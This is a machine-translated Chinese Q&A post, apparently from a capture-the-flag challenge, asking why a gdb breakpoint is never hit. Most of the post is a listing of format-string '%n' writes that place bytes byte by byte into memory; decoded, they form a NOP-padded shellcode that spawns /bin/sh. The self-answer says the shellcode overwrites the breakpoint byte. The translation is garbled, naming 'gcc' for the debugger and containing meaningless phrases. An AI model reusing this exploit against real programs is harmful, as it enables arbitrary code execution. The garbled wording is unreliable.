为什么断点不会在 gdb 中被击中?

逆向工程 数据库 断点 快手
2021-06-21 00:42:10

我是继书面记录挑战的德黑兰如果我设置了一个断点0x804bade,它永远不会被以下输入击中。

begin() {
    fillout(0x8048000, 16384, 7);
    puts("%144c%n", 42, 0x804bade);
    puts("%144c%n", 42, 0x804badf);
    puts("%144c%n", 42, 0x804bae0);
    puts("%144c%n", 42, 0x804bae1);
    puts("%144c%n", 42, 0x804bae2);
    puts("%104c%n", 42, 0x804bae3);
    puts("%1c%n", 42, 0x804bae4);
    puts("%1c%n", 42, 0x804bae5);
    puts("%1c%n", 42, 0x804bae6);
    puts("%1c%n", 42, 0x804bae7);
    puts("%129c%n", 42, 0x804bae8);
    puts("%52c%n", 42, 0x804bae9);
    puts("%36c%n", 42, 0x804baea);
    puts("%114c%n", 42, 0x804baeb);
    puts("%105c%n", 42, 0x804baec);
    puts("%1c%n", 42, 0x804baed);
    puts("%1c%n", 42, 0x804baee);
    puts("%49c%n", 42, 0x804baef);
    puts("%210c%n", 42, 0x804baf0);
    puts("%82c%n", 42, 0x804baf1);
    puts("%106c%n", 42, 0x804baf2);
    puts("%4c%n", 42, 0x804baf3);
    puts("%90c%n", 42, 0x804baf4);
    puts("%1c%n", 42, 0x804baf5);
    puts("%226c%n", 42, 0x804baf6);
    puts("%82c%n", 42, 0x804baf7);
    puts("%137c%n", 42, 0x804baf8);
    puts("%226c%n", 42, 0x804baf9);
    puts("%106c%n", 42, 0x804bafa);
    puts("%104c%n", 42, 0x804bafb);
    puts("%104c%n", 42, 0x804bafc);
    puts("%47c%n", 42, 0x804bafd);
    puts("%47c%n", 42, 0x804bafe);
    puts("%47c%n", 42, 0x804baff);
    puts("%115c%n", 42, 0x804bb00);
    puts("%104c%n", 42, 0x804bb01);
    puts("%47c%n", 42, 0x804bb02);
    puts("%98c%n", 42, 0x804bb03);
    puts("%105c%n", 42, 0x804bb04);
    puts("%110c%n", 42, 0x804bb05);
    puts("%106c%n", 42, 0x804bb06);
    puts("%11c%n", 42, 0x804bb07);
    puts("%88c%n", 42, 0x804bb08);
    puts("%137c%n", 42, 0x804bb09);
    puts("%227c%n", 42, 0x804bb0a);
    puts("%137c%n", 42, 0x804bb0b);
    puts("%209c%n", 42, 0x804bb0c);
    puts("%153c%n", 42, 0x804bb0d);
    puts("%205c%n", 42, 0x804bb0e);
    puts("%128c%n", 42, 0x804bb0f);
}

原因可能是什么?

在此处输入图片说明

1个回答

我自己找到了原因,这真的很有启发性!为了插入断点,gcc 将断点位置开始处的字节替换为INT 3指令(0xCCbyte),并将替换的原始字节记录在其内部表中。输入是在我试图设置断点的位置编写一个 shellcode。由于 shellcode 干扰了断点,它会覆盖0xCC字节,从而导致gcc 无法插入软件断点。